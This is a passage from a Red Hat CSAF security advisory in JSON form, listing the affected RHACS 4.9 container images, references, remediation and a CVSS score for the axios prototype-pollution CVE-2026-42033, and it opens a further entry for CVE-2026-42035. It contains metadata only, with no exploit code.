"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42033"
},
{
"category": "external",
"summary": "RHBZ#2461607",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461607"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42033",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
}
],
"release_date": "2026-04-24T17:36:44.132000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution"
},
{
"cve": "CVE-2026-42035",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T18:01:17.109481+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
